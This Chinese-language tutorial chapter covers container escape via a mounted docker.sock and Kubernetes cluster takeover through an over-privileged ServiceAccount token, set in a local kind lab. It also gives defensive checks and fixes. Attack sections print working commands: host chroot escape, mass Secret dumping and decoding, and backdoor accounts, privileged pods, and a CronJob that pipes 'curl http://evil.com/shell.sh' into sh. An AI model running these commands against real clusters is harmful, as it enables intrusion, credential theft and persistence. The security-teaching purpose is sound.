原理:有些应用需要在容器里管理 Docker(比如 CI/CD 工具、监控 agent), 于是把宿主机的 /var/run/docker.sock 挂载进容器。 但 docker.sock 等价于“宿主机的 root 权限”—— 因为 Docker daemon 是以 root 运行的,你通过 socket 让它启动一个新容器, 那个容器也是 root 的,而且可以挂载宿主机根目录。

容器里执行:
  docker -H unix:///var/run/docker.sock run -v /:/host ubuntu chroot /host
                                              ↑ 挂载宿主机根目录
  → 新容器里 chroot /host = 拿到了宿主机

动手:

# ① 起一个"挂载了 docker.sock 的容器"(这是很多 CI 工具的真实做法)
docker run -it --rm --name escape-dockersock \
  -v /var/run/docker.sock:/var/run/docker.sock \
  ubuntu:22.04 bash

在容器里(攻击者视角):

# 第 1 步:确认 socket 存在
ls -la /var/run/docker.sock
# 预期:
# srw-rw---- 1 root root 0 Sep  4 04:40 /var/run/docker.sock
# ★ 注意开头的 s = socket 文件

# 第 2 步:安装 docker 客户端(如果容器里没有)
apt-get update -qq && apt-get install -y -qq docker.io curl

# 第 3 步:★ 用这个 socket 操作宿主机的 Docker
docker -H unix:///var/run/docker.sock ps
# 预期:★★ 能看到宿主机上【所有】容器!
# CONTAINER ID   IMAGE          COMMAND                  CREATED         STATUS
# a1b2c3d4e5f6   redis:7.2      "docker-entrypoint.s…"   2 hours ago     Up 2 hours
# ...

# 第 4 步:★★★ 逃逸 —— 启动一个挂载宿主机根目录的新容器
docker -H unix:///var/run/docker.sock run -it --rm \
  --privileged \
  --pid=host \
  --net=host \
  -v /:/host \
  alpine chroot /host /bin/sh

# 现在你已经在宿主机上了
hostname
cat /etc/shadow | head -3
# ★ 宿主机的密码哈希!

# 或者更狠的:直接写 crontab
docker -H unix:///var/run/docker.sock run --rm -v /:/host alpine \
  sh -c "echo '* * * * * root touch /tmp/ESCAPED_VIA_DOCKER_SOCK' >> /host/etc/crontab"

这个漏洞在真实世界有多普遍? 搜索 GitHub 上的 docker-compose.yml,能看到大量这样的配置:

volumes:
  - /var/run/docker.sock:/var/run/docker.sock    # ❌ 非常常见!

常见于:Portainer、Watchtower、Traefik、各种 CI runner、监控 agent。

面试金句: “挂载 docker.sock 等价于把宿主机的 root 交出去。 因为 Docker daemon 本身是 root 运行的,你通过 socket 下命令, 它能让你启动一个挂载宿主机根目录的特权容器。 正确做法有三种:用 rootless Docker、用 Docker Socket Proxy 限制可调用的 API、 或者干脆用 Kaniko / Buildah 这类不需要 daemon 的构建工具(我们在 CI 里用的就是 Kaniko)。”

防御:

# ❌ 绝对不要
volumes:
- name: dockersock
  hostPath:
    path: /var/run/docker.sock

# ✅ 替代方案 1:Docker Socket Proxy(只暴露只读 API)
#   Tecnativa/docker-socket-proxy,配置只允许 CONTAINERS=1(只读查看)

# ✅ 替代方案 2:用 Kaniko / img / Buildah 构建镜像(不需要 docker daemon)
#   Kaniko 直接在用户空间构建,不需要 privileged,也不需要挂载 socket

# ✅ 替代方案 3:rootless Docker / Podman
#   podman run --userns=keep-id ...   (容器内 root 映射到宿主机普通用户)

8.1.3 手法三:内核漏洞逃逸(如 Dirty Pipe / Dirty COW)

原理:容器和宿主机共享同一个内核。 如果内核有漏洞(比如能提权的漏洞),容器里的攻击者就能利用它直接提权到宿主机 root。

著名的内核漏洞:

CVE 名称 影响内核 说明
CVE-2016-5195 Dirty COW 2.6.22 ~ 4.8.3 竞态条件写只读内存映射
CVE-2021-4034 PwnKit polkit(几乎所有 Linux) pkexec 的本地提权
CVE-2022-0847 Dirty Pipe 5.8 ~ 5.16.11 ★ 能覆写任意只读文件,包括 /etc/passwd
CVE-2022-2588 — nftables 本地提权
CVE-2023-0386 — OverlayFS 挂载时的权限检查绕过

Dirty Pipe 的威力(为什么它特别适合容器逃逸):

它能覆写任意只读文件,而且不需要任何特殊的 capabilities。 于是攻击者可以: ① 覆写 /etc/passwd,把 root:x:0:0 改成 root::0:0(去掉密码)→ 直接 su root ② 或者覆写宿主机上某个 SUID 程序的代码 → 执行时提权

动手(在容器里验证内核版本是否受影响):

# ① 看内核版本
uname -r
# 如果输出类似 5.10.0 / 5.15.0,需要查是否在受影响范围
# Dirty Pipe 影响 5.8 ~ 5.16.11

# ② 检查是否打了补丁
# Dirty Pipe 的补丁在 5.16.11 / 5.15.25 / 5.10.102

# ③ 用一个简易的 PoC 验证(★ 仅供自己靶场学习)
# 注意:真跑 PoC 有风险,建议在一次性容器里做
docker run --rm -it --kernel-memory=1g ubuntu:22.04 bash -c "
  uname -a
  # 检查 /etc/passwd 是否可写(Dirty Pipe 能绕过只读)
"

⚠️ 我这里不提供完整的 Dirty Pipe 利用代码,原因有两个: ① 这类 0day/1day 的完整利用代码有明显滥用风险; ② 对防御方来说,理解“共享内核 → 内核漏洞 = 全军覆没”这个原理就够了, 具体的 PoC 代码你搜 CVE 编号就能找到,面试也不需要你会写 exploit。

面试该说的是防御方案,那才是你的价值。

防御(★ 这才是重点):

方案 说明 强度
① 及时打内核补丁 最根本。用 uname -r 检查,订阅发行版的安全公告 ★★★★★
② 用 gVisor / Kata Containers ★ 给容器一个独立的内核沙箱,内核漏洞打不到宿主机 ★★★★★
③ seccomp 默认策略 过滤掉危险系统调用(很多逃逸手法依赖特定 syscall) ★★★★
④ 禁用不必要的 capabilities drop: [ALL] ★★★★
⑤ AppArmor / SELinux 强制访问控制,限制进程能访问的文件 ★★★★
⑥ 用最小化基础镜像 distroless / alpine,减少可用的工具和攻击面 ★★★
⑦ 定期漏洞扫描 trivy 扫镜像 + 扫宿主机 ★★★

gVisor / Kata Containers 是什么(面试加分):

传统容器(runc):
  容器 A ─┐
  容器 B ─┼── 共享宿主机内核 ─── 宿主机
  容器 C ─┘
  ★ 内核有漏洞 → 所有容器都能逃逸

gVisor(Google 开源):
  容器 A ── gVisor 沙箱内核 ─┐
  容器 B ── gVisor 沙箱内核 ─┼── 宿主机内核 ─── 宿主机
  容器 C ── gVisor 沙箱内核 ─┘
  ★ gVisor 是【用 Go 写的用户态内核】,容器里的系统调用先经过它,
    它只把"安全的"调用转发给真正的内核。攻击面大幅缩小。

Kata Containers:
  容器 A ── 独立轻量 VM(独立内核)─┐
  容器 B ── 独立轻量 VM(独立内核)─┼── 宿主机
  ★ 每个 Pod 跑在自己的轻量虚拟机里,有【真正独立的内核】。
    安全性 ≈ 虚拟机,性能接近容器。

8.1.4 容器逃逸复测脚本

cat > /tmp/verify_container_escape.sh <<'SCRIPT'
#!/bin/bash
# 容器逃逸风险自检(在容器里跑)
pass=0; fail=0
ok()  { echo "  ✅ $1"; pass=$((pass+1)); }
bad() { echo "  ❌ $1 —— $2"; fail=$((fail+1)); }
warn(){ echo "  ⚠️  $1"; }

echo "=== 容器逃逸风险自检 ==="
echo "当前容器:$(hostname)"
echo ""

# 1. 是否特权容器
EFF=$(grep CapEff /proc/self/status | awk '{print $2}')
if [ "$EFF" = "000001ffffffffff" ] || [ "$EFF" = "0000003fffffffff" ]; then
  bad "1. ★ 特权容器(CapEff=$EFF)" "拥有全部 capabilities,可直接 mount 宿主机磁盘逃逸"
else
  ok "1. 非特权容器(CapEff=$EFF)"
fi

# 2. docker.sock 是否被挂载
if [ -S /var/run/docker.sock ]; then
  bad "2. ★ docker.sock 已挂载" "等价于宿主机 root 权限,立即移除"
else
  ok "2. 未挂载 docker.sock"
fi

# 3. 宿主机根目录是否被挂载
for m in /host /mnt/host /rootfs; do
  [ -d "$m" ] && bad "3. ★ 发现疑似宿主机挂载点:$m" "" && break
done
[ ! -d /host ] && [ ! -d /mnt/host ] && [ ! -d /rootfs ] && ok "3. 未挂载宿主机根目录"

# 4. 是否 hostPID / hostNetwork
if [ -d /proc/1/root ] && ls /proc/1/root/ >/dev/null 2>&1; then
  N=$(ls /proc/1/root/ 2>/dev/null | wc -l)
  if [ "$N" -gt 15 ]; then
    warn "4. 可能开启了 hostPID(能看到宿主机所有进程)"
    ls /proc/1/root/ 2>/dev/null | head -5 | sed 's/^/      /'
  fi
fi
grep -q "devices:/" /proc/self/cgroup 2>/dev/null || true

# 5. 是否 root 运行
U=$(id -u)
[ "$U" = "0" ] && warn "5. 以 root 运行(uid=0),建议 runAsNonRoot" || ok "5. 非 root 运行(uid=$U)"

# 6. 根文件系统是否只读
if touch /__write_test 2>/dev/null; then
  rm -f /__write_test
  warn "6. 根文件系统可写,建议 readOnlyRootFilesystem: true"
else
  ok "6. 根文件系统只读"
fi

# 7. 内核版本(检查已知逃逸漏洞)
K=$(uname -r)
echo "  [7] 内核版本:$K"
echo "      请检查是否在以下漏洞范围:"
echo "        Dirty Pipe  CVE-2022-0847   5.8 ~ 5.16.11"
echo "        Dirty COW   CVE-2016-5195   2.6.22 ~ 4.8.3"

# 8. 敏感目录可访问性
echo "  [8] 敏感路径检查:"
for p in /var/run/secrets/kubernetes.io/serviceaccount/token /root/.ssh /etc/shadow; do
  [ -e "$p" ] && echo "      ⚠️  可访问:$p"
done

# 9. capabilities 详情
echo "  [9] 当前 capabilities:"
command -v capsh >/dev/null 2>&1 \
  && capsh --print 2>/dev/null | grep "Current:" | sed 's/^/      /' \
  || echo "      (capsh 未安装,看 CapEff: $EFF)"

echo ""
echo "结果:通过/正常 $pass,风险项 $fail"
[ $fail -eq 0 ] && echo "🎉 未发现高危逃逸风险" || echo "⚠️  发现 $fail 项逃逸风险,需要处理"
SCRIPT
chmod +x /tmp/verify_container_escape.sh

# 用法:docker cp /tmp/verify_container_escape.sh 容器名:/tmp/ && docker exec 容器名 bash /tmp/verify_container_escape.sh

8.2 用 kind 搭一个本地 K8s 集群

为什么用 kind:

  • minikube 需要虚拟机,吃资源
  • kind(Kubernetes IN Docker)把 K8s 的每个节点都跑在一个 Docker 容器里——启动快、省资源、删掉就干净
  • 对我们做安全实验来说,kind 还特别方便:可以直接 docker exec 进“节点”,模拟“我已经拿到了容器 shell”

8.2.1 安装与启动

# 安装 kind(Linux / macOS)
curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.23.0/kind-linux-amd64
chmod +x ./kind && sudo mv ./kind /usr/local/bin/kind

# macOS
# brew install kind

# Windows(用 Chocolatey 或直接下载 exe)
# choco install kind

# 确认
kind version
# 预期:kind v0.23.0 go1.21.7 linux/amd64

# 安装 kubectl(如果没有)
curl -LO "https://dl.k8s.io/release/v1.30.0/bin/linux/amd64/kubectl"
chmod +x kubectl && sudo mv kubectl /usr/local/bin/
kubectl version --client

启动集群:

# 最简方式(单节点)
kind create cluster --name seclab

# 预期输出:
# Creating cluster "seclab" ...
#  ✓ Ensuring node image (kindest/node:v1.30.0) 🖼
#  ✓ Preparing nodes 📦
#  ✓ Writing configuration 📜
#  ✓ Starting control-plane 🕹️
#  ✓ Installing CNI 🔌
#  ✓ Installing StorageClass 💾
# Set kubectl context to "kind-seclab"
# You can now use your cluster with:
# kubectl cluster-info --context kind-seclab

# 确认
kubectl cluster-info
kubectl get nodes
# 预期:
# NAME                   STATUS   ROLES           AGE   VERSION
# seclab-control-plane   Ready    control-plane   1m    v1.30.0

★ 重要的安全提醒: kind 集群的 API Server 默认绑定在 127.0.0.1(或 Docker 网桥 IP)上, 但它的 kubeconfig 默认允许 admin 访问。 实验结束后一定要 kind delete cluster --name seclab, 尤其是不要把这个集群的端口暴露出去。

8.2.2 部署一个“故意有漏洞”的应用

我们部署一个应用,它有三个问题(真实场景里极常见): ① SA Token 权限过大(绑定了 cluster-admin) ② 挂载了 docker.sock(模拟 CI 工具) ③ Secret 里有云厂商 AK/SK

# vulnerable-app.yaml
apiVersion: v1
kind: Namespace
metadata:
  name: vuln
---
# ① ★ 危险:ServiceAccount 绑定了 cluster-admin(集群最高权限)
apiVersion: v1
kind: ServiceAccount
metadata:
  name: vuln-sa
  namespace: vuln
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: vuln-admin-binding
subjects:
- kind: ServiceAccount
  name: vuln-sa
  namespace: vuln
roleRef:
  kind: ClusterRole
  name: cluster-admin          # ★★ 集群管理员!能做任何事
  apiGroup: rbac.authorization.k8s.io
---
# ② Secret 里放云厂商密钥(真实场景极常见)
apiVersion: v1
kind: Secret
metadata:
  name: cloud-credentials
  namespace: vuln
type: Opaque
stringData:
  AWS_ACCESS_KEY_ID: "LTAI5tXXXXXXXXXXXX"
  AWS_SECRET_ACCESS_KEY: "Xk9mP2vQ7nR4XXXXXXXXXXXX"
  DB_PASSWORD: "Prod@Db#2026!Secure"
---
# ③ 应用 Pod(有漏洞版本)
apiVersion: v1
kind: Pod
metadata:
  name: vuln-app
  namespace: vuln
  labels:
    app: vuln-app
spec:
  serviceAccountName: vuln-sa    # ★ 用那个高权限 SA
  containers:
  - name: app
    image: nginx:1.25-alpine
    ports:
    - containerPort: 80
    env:
    - name: AWS_ACCESS_KEY_ID
      valueFrom:
        secretKeyRef:
          name: cloud-credentials
          key: AWS_ACCESS_KEY_ID
    - name: DB_PASSWORD
      valueFrom:
        secretKeyRef:
          name: cloud-credentials
          key: DB_PASSWORD
    volumeMounts:
    - name: dockersock
      mountPath: /var/run/docker.sock    # ★ 危险:挂载 docker.sock
  volumes:
  - name: dockersock
    hostPath:
      path: /var/run/docker.sock
      type: Socket
# 部署
kubectl apply -f vulnerable-app.yaml
# 预期:
# namespace/vuln created
# serviceaccount/vuln-sa created
# clusterrolebinding.rbac.authorization.k8s.io/vuln-admin-binding created
# secret/cloud-credentials created
# pod/vuln-app created

# 确认
kubectl get pods -n vuln
# 预期:
# NAME       READY   STATUS    RESTARTS   AGE
# vuln-app   1/1     Running   0          20s

8.3 从 SA Token 到接管整个集群(★ 本章核心实验)

场景设定:攻击者通过 vuln-app 的某个漏洞(比如 Log4Shell)拿到了容器里的 Shell。 现在看他能做什么。

8.3.1 第一步:在容器里发现自己是“在 K8s 里”

# 进入容器(模拟攻击者已经拿到 Shell)
kubectl exec -it -n vuln vuln-app -- /bin/sh

# ① 看看环境变量(K8s 会自动注入服务发现相关的环境变量)
env | grep -i kubernetes
# 预期:
# KUBERNETES_SERVICE_HOST=10.96.0.1
# KUBERNETES_SERVICE_PORT=443
# KUBERNETES_PORT=tcp://10.96.0.1:443
# KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
# ...
# ★ 看到这些就说明:我在 K8s 集群里!

# ② ★★ 找 SA Token(这是关键)
ls -la /var/run/secrets/kubernetes.io/serviceaccount/
# 预期:
# lrwxrwxrwx 1 root root  13 ... ca.crt -> ..data/ca.crt
# lrwxrwxrwx 1 root root  16 ... namespace -> ..data/namespace
# lrwxrwxrwx 1 root root  12 ... token -> ..data/token

# ③ 读取 Token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo $TOKEN
# 预期:
# eyJhbGciOiJSUzI1NiIsImtpZCI6Ik...(很长的 JWT)
#    ↑ 注意:jwt.io 解出来能看到 sub 字段是
#      "system:serviceaccount:vuln:vuln-sa"

# ④ 看看 namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
# 预期:vuln

名词:为什么每个 Pod 都有这个 Token?

K8s 的设计里,Pod 里的应用经常需要访问 K8s API (比如一个 Operator 要监听 Pod 变化,或者一个服务要做服务发现)。 所以 K8s 默认给每个 Pod 挂一个 ServiceAccount Token。

问题就在于“默认”——大部分应用根本不需要访问 K8s API, 但 Token 还是被挂载了。这就给了攻击者可乘之机。

K8s 1.24 之后的变化(面试加分点): 1.24 之前,Token 是永久有效的 Secret; 1.24 之后,Token 改成了 Projected Volume,默认 1 小时过期, 而且 不再自动创建对应的 Secret 对象。 但——默认还是会自动挂载,所以风险依然存在。

8.3.2 第二步:检查这个 Token 有多大权限

# 在容器里执行

# 准备好 Token 和 API 地址
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# ① 测试能不能访问 API(列出所有 namespace)
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  "$APISERVER/api/v1/namespaces" | head -c 500
# 预期(如果是高权限):
# {"kind":"NamespaceList","apiVersion":"v1","metadata":{...},"items":[
#   {"metadata":{"name":"default",...}},
#   {"metadata":{"name":"kube-system",...}},
#   {"metadata":{"name":"vuln",...}}
# ]}
# ★ 能列出来 = Token 有效且有权限

# ② ★★ 权限自测:我能不能列出所有 Secret?(这是最想要的)
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  "$APISERVER/api/v1/secrets?limit=500" | python3 -m json.tool 2>/dev/null | head -40

# ③ 用 kubectl 的 auth can-i 更直观(如果容器里有 kubectl)
# 或者用 SelfSubjectRulesReview API 列出所有权限
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -X POST "$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
  -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"vuln"}}' \
  | python3 -m json.tool | head -60

预期输出(如果绑定了 cluster-admin):

{
  "status": {
    "resourceRules": [{
      "verbs": ["*"],
      "apiGroups": ["*"],
      "resources": ["*"],
      "namespaces": ["*"]
    }],
    "complete": true
  }
}

看到 "verbs": ["*"] 和 "resources": ["*"] 意味着什么? 这个 Token 能对集群里的任何资源做任何操作。 换句话说——集群已经是你的了。

权限枚举清单(攻击者会挨个试):

# 一个一个测,看能干什么
for act in "get pods" "list secrets" "create pods" "delete pods" \
           "get secrets" "create pods/exec" "escalate clusterroles"; do
  verb=$(echo $act | awk '{print $1}')
  res=$(echo $act | awk '{print $2}')
  echo -n "  $act → "
  curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" -X POST \
    "$APISERVER/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" \
    -d "{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectAccessReview\",\"spec\":{\"resourceAttributes\":{\"namespace\":\"vuln\",\"verb\":\"$verb\",\"resource\":\"$res\"}}}" \
    | python3 -c "import sys,json; print('✅ 允许' if json.load(sys.stdin)['status']['allowed'] else '❌ 拒绝')"
done

8.3.3 第三步:偷走所有 Secret(★ 拿到云厂商密钥)

# ① 列出所有 namespace 的所有 Secret
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  "$APISERVER/api/v1/secrets?limit=1000" > /tmp/all_secrets.json

# ② 解码(K8s 的 Secret 是 base64 存的,不是加密!)
python3 - <<'PY'
import json, base64
data = json.load(open('/tmp/all_secrets.json'))
print(f"共 {len(data.get('items', []))} 个 Secret\n")
for item in data.get('items', []):
    ns = item['metadata']['namespace']
    name = item['metadata']['name']
    d = item.get('data', {})
    if not d:
        continue
    print(f"=== {ns}/{name} ===")
    for k, v in d.items():
        try:
            plain = base64.b64decode(v).decode('utf-8')
        except Exception:
            plain = v[:50] + '...(二进制)'
        print(f"   {k} = {plain}")
    print()
PY

预期输出(★ 这就是“接管集群”的终极目标):

共 15 个 Secret

=== vuln/cloud-credentials ===
   AWS_ACCESS_KEY_ID = LTAI5tXXXXXXXXXXXX
   AWS_SECRET_ACCESS_KEY = Xk9mP2vQ7nR4XXXXXXXXXXXX
   DB_PASSWORD = Prod@Db#2026!Secure

=== kube-system/coredns-token-xxxxx ===
   token = eyJhbGciOiJSUzI1NiIs...(另一个 SA 的 Token,权限可能更大)

=== default/default-token-xxxxx ===
   token = eyJhbGciOiJSUzI1NiIs...

=== ingress-nginx/tls-cert ===
   tls.crt = -----BEGIN CERTIFICATE-----...(HTTPS 私钥!)
   tls.key = -----BEGIN RSA PRIVATE KEY-----...

★ 注意最后一条:ingress-nginx/tls-cert 里存的是网站的 HTTPS 证书私钥。 拿到它,攻击者就能解密 HTTPS 流量(如果有历史流量捕获)或者冒充你的网站(中间人攻击)。

★ 另一个关键点:Secret 里的 SA Token(如 coredns-token)是永久有效的(1.24 之前创建的), 攻击者把这些 Token 偷走后,即使原来的 Pod 被删了,Token 依然有效—— 这就是“持久化后门“。

8.3.4 第四步:持久化后门(即使被删也能回来)

攻击者偷完 Token 不会停,会留后门:

后门方式 1:创建后门 ServiceAccount(最简单)

# 创建一个永久的后门账号,绑定 cluster-admin
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" -X POST \
  "$APISERVER/api/v1/namespaces/vuln/serviceaccounts" \
  -d '{"apiVersion":"v1","kind":"ServiceAccount","metadata":{"name":"kube-sys-monitor","namespace":"vuln"}}'
# 名字起得像系统组件,不容易被发现

# 绑定 cluster-admin
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" -X POST \
  "$APISERVER/apis/rbac.authorization.k8s.io/v1/clusterrolebindings" \
  -d '{
    "apiVersion":"rbac.authorization.k8s.io/v1",
    "kind":"ClusterRoleBinding",
    "metadata":{"name":"kube-sys-monitor-binding"},
    "subjects":[{"kind":"ServiceAccount","name":"kube-sys-monitor","namespace":"vuln"}],
    "roleRef":{"kind":"ClusterRole","name":"cluster-admin","apiGroup":"rbac.authorization.k8s.io"}
  }'

# 为它创建一个永久 Token(K8s 1.24 之前有效)
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" -X POST \
  "$APISERVER/api/v1/namespaces/vuln/secrets" \
  -d '{
    "apiVersion":"v1",
    "kind":"Secret",
    "metadata":{"name":"kube-sys-monitor-token","namespace":"vuln",
                "annotations":{"kubernetes.io/service-account.name":"kube-sys-monitor"}},
    "type":"kubernetes.io/service-account-token"
  }'

后门方式 2:创建特权 Pod(反向 Shell)

# 创建一个挂载宿主机根目录的后门 Pod
cat > /tmp/backdoor.yaml <<'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: kube-sys-metrics          # ★ 名字伪装成系统组件
  namespace: kube-system          # ★ 藏在系统命名空间里
spec:
  hostNetwork: true               # ★ 用宿主机网络
  hostPID: true                   # ★ 能看到所有进程
  containers:
  - name: collector
    image: alpine
    command: ["/bin/sh"]
    args: ["-c", "while true; do sleep 30; done"]
    securityContext:
      privileged: true            # ★ 特权容器
    volumeMounts:
    - name: host-root
      mountPath: /host            # ★ 挂载宿主机根目录
  volumes:
  - name: host-root
    hostPath:
      path: /
EOF

# 通过 API 创建
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/yaml" -X POST \
  "$APISERVER/api/v1/namespaces/kube-system/pods" \
  --data-binary @/tmp/backdoor.yaml

后门方式 3:恶意 Admission Webhook / CronJob

# 创建一个 CronJob,每分钟执行(存活时间更长)
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" -X POST \
  "$APISERVER/apis/batch/v1/namespaces/kube-system/cronjobs" \
  -d '{
    "apiVersion":"batch/v1",
    "kind":"CronJob",
    "metadata":{"name":"kube-log-cleaner","namespace":"kube-system"},
    "spec":{
      "schedule":"*/1 * * * *",
      "jobTemplate":{"spec":{"template":{"spec":{
        "containers":[{
          "name":"cleaner",
          "image":"alpine",
          "command":["/bin/sh","-c","curl http://evil.com/shell.sh | sh"],
          "securityContext":{"privileged":true}
        }],
        "restartPolicy":"OnFailure",
        "hostNetwork":true
      }}}}
    }
  }'

防御方怎么发现这些后门?(这是你的价值所在)

# ① 审计所有 ClusterRoleBinding,找可疑的
kubectl get clusterrolebindings -o json | jq -r '
  .items[] | select(.roleRef.name=="cluster-admin")
  | "\(.metadata.name) → \(.subjects[]?.name)"'
# ★ 正常应该只有 cluster-admin 这一个,多出来的都要查

# ② 定期对比 kube-system 命名空间的资源清单(后门最爱藏这儿)
kubectl get all -n kube-system > /tmp/baseline.txt
# 每周对比一次

# ③ ★ 开启 K8s 审计日志(Audit Log),记录所有 API 调用
#    重点告警:
#      - 创建 ClusterRoleBinding
#      - 读取 secrets(尤其是批量的)
#      - 在 kube-system 创建 Pod
#      - pods/exec 和 pods/attach 操作

# ④ 用 Falco 做运行时检测(能发现容器里的异常行为)
# ⑤ 定期轮换所有 Secret(让偷走的 Token 失效)
kubectl delete pod -n vuln --all     # 重启 Pod 会让旧的 Projected Token 失效

8.3.5 第五步:从 Pod 执行到拿下 Node(真正逃逸出容器)

# 如果 SA 有 pods/exec 权限,就能在【任意 Pod】里执行命令
# ★ 挑一个 kube-system 里、跑在目标 Node 上的 Pod

# ① 找到目标 Pod
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  "$APISERVER/api/v1/namespaces/kube-system/pods" \
  | python3 -c "
import sys, json
d = json.load(sys.stdin)
for p in d['items']:
    print(f\"{p['metadata']['name']}\t{p['spec'].get('nodeName')}\")
"

# ② 在它里面执行命令(★ 这就是"横向移动到其他 Node")
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  -H "X-Stream-Protocol-Version: v4.channel.k8s.io" \
  -H "X-Stream-Protocol-Version: channel.k8s.io" \
  -H "Upgrade: websocket" -H "Connection: Upgrade" \
  -H "Sec-Websocket-Protocol: v4.channel.k8s.io" \
  -H "Sec-Websocket-Version: 13" \
  -X POST \
  "$APISERVER/api/v1/namespaces/kube-system/pods/coredns-xxx/exec?command=id&command=cat&command=/etc/shadow&container=coredns&stdin=false&stdout=true&stderr=true&tty=false"

# 上面的裸 curl 比较麻烦,实战用 kubectl:
kubectl exec -it -n kube-system coredns-xxx -- id
# 预期:
# uid=0(root) gid=0(root) groups=0(root)

这一刻的意义: 攻击者从一个“应用层漏洞”(比如 Log4Shell)出发, 现在能在集群里任何一个 Pod 里执行任意命令, 包括那些挂载了宿主机根目录、跑在 Master 节点上的 Pod。 整个集群已经沦陷。

8.3.6 完整攻击链总结图

① 应用漏洞(Log4Shell / Shiro / 上传 webshell)
        │
        ▼
② 在容器里拿到 Shell
        │
        ▼
③ 发现 /var/run/secrets/.../token(★ 默认挂载,很多人不知道)
        │
        ▼
④ 用 Token 调 K8s API,检查权限(SelfSubjectRulesReview)
        │
        ├─────────────────────────────────────────┐
        ▼                                         ▼
⑤ 权限大(cluster-admin)              ⑤' 权限小(只能 get pods)
        │                                         │
        ▼                                         ▼
⑥ 偷所有 Secret                        ⑥' 找有问题的 Pod:
   - 云厂商 AK/SK                          - 挂载了 docker.sock
   - 数据库密码                            - 挂载了宿主机 / 目录
   - HTTPS 私钥                            - SA 权限更大的
   - 其他 SA Token                              │
        │                                        ▼
        ▼                                  ⑦' 进入那个 Pod(pods/exec)
⑦ 创建后门(SA / 特权 Pod / CronJob)          │
        │                                        ▼
        ▼                                  ⑧' 重复 ③~⑥
⑧ 在任意 Pod 执行 → 拿到 Node → 逃逸到宿主机
        │
        ▼
⑨ 用 AK/SK 接管云账号 → 开矿机 / 勒索

8.3.7 修复:七道防线

【防线 1】不给 Pod 挂载 Token(★ 最简单有效)

apiVersion: v1
kind: Pod
spec:
  serviceAccountName: vuln-sa
  automountServiceAccountToken: false    # ★ 一行搞定!
# 或者在 ServiceAccount 层面统一关
apiVersion: v1
kind: ServiceAccount
metadata:
  name: vuln-sa
  namespace: vuln
automountServiceAccountToken: false      # ★ 所有用这个 SA 的 Pod 都不挂 Token

这条能防住 90% 的 SA Token 利用—— 因为绝大多数应用根本不需要访问 K8s API。 需要用的时候再单独开。

【防线 2】RBAC 最小权限

# ❌ 错误:直接给 cluster-admin
roleRef:
  kind: ClusterRole
  name: cluster-admin

# ✅ 正确:按需定义 Role,只给必要权限
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: vuln-app-role
  namespace: vuln
rules:
# ★ 明确列出:能对【哪些资源】做【哪些操作】
- apiGroups: [""]
  resources: ["configmaps"]        # 只读 ConfigMap
  verbs: ["get", "list", "watch"]
- apiGroups: [""]
  resources: ["secrets"]
  resourceNames: ["cloud-credentials"]   # ★ 甚至限定到具体的 Secret 名字
  verbs: ["get"]
# ★ 绝不给:*、secrets(全部)、cluster-admin、escalate、bind
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: vuln-app-binding
  namespace: vuln
subjects:
- kind: ServiceAccount
  name: vuln-sa
  namespace: vuln
roleRef:
  kind: Role                        # ★ 用 Role(命名空间内)而不是 ClusterRole(全集群)
  name: vuln-app-role
  apiGroup: rbac.authorization.k8s.io

危险权限黑名单(★ 这些权限能直接导致集群沦陷):

权限 为什么危险
* / cluster-admin 不用解释
escalate on roles/clusterroles ★ 能给自己提权到 cluster-admin
bind on roles/clusterroles ★ 能把高权限角色绑给自己
create pods 能创建特权 Pod → 逃逸到 Node
get/create pods/exec 能在任意 Pod 执行命令
list/get secrets(全集群) 能偷所有密钥
impersonate on users/groups ★ 能冒充其他用户(包括 system:masters)
create certificatesigningrequests 能给自己签发证书

【防线 3】Secret 加密存储(etcd 静态加密)

# /etc/kubernetes/pki/encryption-config.yaml
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
  - secrets
  providers:
  - aescbc:                          # ★ 用 AES-CBC 加密
      keys:
      - name: key1
        secret: <base64 编码的 32 字节随机密钥>
  - identity: {}                     # 兜底(不加密),放最后
# 生成密钥
head -c 32 /dev/urandom | base64

# kube-apiserver 启动参数加上:
# --encryption-provider-config=/etc/kubernetes/pki/encryption-config.yaml

# 验证是否生效
kubectl create secret test-secret -n default --from-literal=key=value
ETCDCTL_API=3 etcdctl \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get /registry/secrets/default/test-secret | hexdump -C | head
# ★ 如果看到 k8s:enc:aescbc:v1:key1 开头 = 加密生效
#   如果直接看到明文 value = 没加密

